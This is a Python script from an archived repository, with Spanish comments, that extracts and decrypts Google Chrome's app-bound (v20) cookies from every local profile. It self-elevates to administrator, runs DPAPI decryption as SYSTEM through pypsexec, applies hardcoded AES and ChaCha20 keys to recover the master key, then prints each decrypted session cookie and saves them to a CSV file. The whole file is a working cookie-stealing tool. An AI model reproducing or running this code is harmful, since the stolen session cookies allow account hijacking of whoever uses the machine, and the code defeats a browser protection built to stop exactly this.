This repository has been archived on 2025-11-27. You can view files and clone it. You cannot open issues or pull requests or push a commit.
Files
Fitz_Studio/scrappers/devolver_cookies.py
T

180 lines
6.4 KiB
Python

import os
import sys
import json
import binascii
import ctypes
import base64
import sqlite3
import pandas as pd
import pathlib
from Crypto.Cipher import AES, ChaCha20_Poly1305
from pypsexec.client import Client
"""
Este script extrae cookies v20 de Google Chrome y las guarda en un archivo CSV.
Requiere privilegios de administrador para acceder a los datos de Chrome.
Conseguido para poder extraer cookies de Chrome v20, que utiliza un nuevo formato de cifrado.
"""
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except:
return False
def get_app_bound_key(local_state_path):
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
return local_state["os_crypt"]["app_bound_encrypted_key"]
def decrypt_app_bound_key(encrypted_key_b64):
arguments = "-c \"" + """import win32crypt
import binascii
encrypted_key = win32crypt.CryptUnprotectData(binascii.a2b_base64('{}'), None, None, None, 0)
print(binascii.b2a_base64(encrypted_key[1]).decode())
""".replace("\n", ";") + "\""
c = Client("localhost")
c.connect()
decrypted_key = None
try:
c.create_service()
assert(binascii.a2b_base64(encrypted_key_b64)[:4] == b"APPB")
stripped_key_b64 = binascii.b2a_base64(binascii.a2b_base64(encrypted_key_b64)[4:]).decode().strip()
encrypted_key_b64_sys, _, _ = c.run_executable(
sys.executable,
arguments=arguments.format(stripped_key_b64),
use_system_account=True
)
decrypted_key_b64, _, _ = c.run_executable(
sys.executable,
arguments=arguments.format(encrypted_key_b64_sys.decode().strip()),
use_system_account=False
)
decrypted_key = binascii.a2b_base64(decrypted_key_b64)[-61:]
finally:
c.remove_service()
c.disconnect()
return decrypted_key
def decrypt_final_key(encrypted_key):
aes_key = bytes.fromhex("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787")
chacha20_key = bytes.fromhex("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660")
flag = encrypted_key[0]
iv = encrypted_key[1:13]
ciphertext = encrypted_key[13:45]
tag = encrypted_key[45:]
if flag == 1:
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
elif flag == 2:
cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=iv)
else:
raise ValueError(f"Unsupported flag: {flag}")
return cipher.decrypt_and_verify(ciphertext, tag)
def decrypt_cookie_v20(encrypted_value, key):
cookie_iv = encrypted_value[3:15]
encrypted_cookie = encrypted_value[15:-16]
cookie_tag = encrypted_value[-16:]
cookie_cipher = AES.new(key, AES.MODE_GCM, nonce=cookie_iv)
decrypted_cookie = cookie_cipher.decrypt_and_verify(encrypted_cookie, cookie_tag)
return decrypted_cookie[32:].decode('utf-8')
def extract_all_v20_cookies():
user_profile = os.environ['USERPROFILE']
local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State"
base_profile_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data"
app_bound_key_b64 = get_app_bound_key(local_state_path)
decrypted_key_raw = decrypt_app_bound_key(app_bound_key_b64)
final_key = decrypt_final_key(decrypted_key_raw)
perfiles_invalidos = {"System Profile", "Guest Profile", "CrashpadMetrics"}
perfiles = [
name for name in os.listdir(base_profile_path)
if os.path.isdir(os.path.join(base_profile_path, name))
and name not in perfiles_invalidos
and os.path.exists(os.path.join(base_profile_path, name, "Network", "Cookies"))
]
all_cookies = []
for profile in perfiles:
db_path = os.path.join(base_profile_path, profile, "Network", "Cookies")
con = sqlite3.connect(pathlib.Path(db_path).as_uri() + "?mode=ro", uri=True)
cur = con.cursor()
r = cur.execute("SELECT host_key, name, path, is_secure, is_httponly, expires_utc, last_access_utc, CAST(encrypted_value AS BLOB) from cookies;")
cookies = cur.fetchall()
con.close()
for row in cookies:
host, name, path, is_secure, is_httponly, expires_utc, last_access_utc, encrypted_value = row
encrypted_value_b64 = base64.b64encode(encrypted_value).decode()
if encrypted_value.startswith(b"v20"):
try:
value = decrypt_cookie_v20(encrypted_value, final_key)
print(f"[✓] {host} {name}: {value}")
all_cookies.append({
"host": host,
"name": name,
"path": path,
"value": value,
"encrypted_value_b64": encrypted_value_b64,
"expires_utc": expires_utc,
"is_secure": is_secure,
"is_httponly": is_httponly,
"last_access_utc": last_access_utc,
"profile": profile,
"is_decrypted": True,
"decrypt_error": ""
})
except Exception as e:
print(f"[x] Error decrypting {host} {name}: {e}")
all_cookies.append({
"host": host,
"name": name,
"path": path,
"value": "",
"encrypted_value_b64": encrypted_value_b64,
"expires_utc": expires_utc,
"is_secure": is_secure,
"is_httponly": is_httponly,
"last_access_utc": last_access_utc,
"profile": profile,
"is_decrypted": False,
"decrypt_error": str(e)
})
return pd.DataFrame(all_cookies)
if __name__ == "__main__":
if not is_admin():
input("Este script necesita ejecutarse como administrador. Presiona Enter para reiniciar con privilegios...")
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join([sys.argv[0]] + sys.argv[1:]), None, 1)
sys.exit()
print("[*] Extrayendo cookies v20 desde todos los perfiles...")
df = extract_all_v20_cookies()
df.to_csv("cookies_extraidas.csv", index=False, encoding="utf-8")
print(f"[✓] Cookies v20 extraídas: {len(df)}")
print("[✓] Guardado en 'cookies_extraidas.csv'")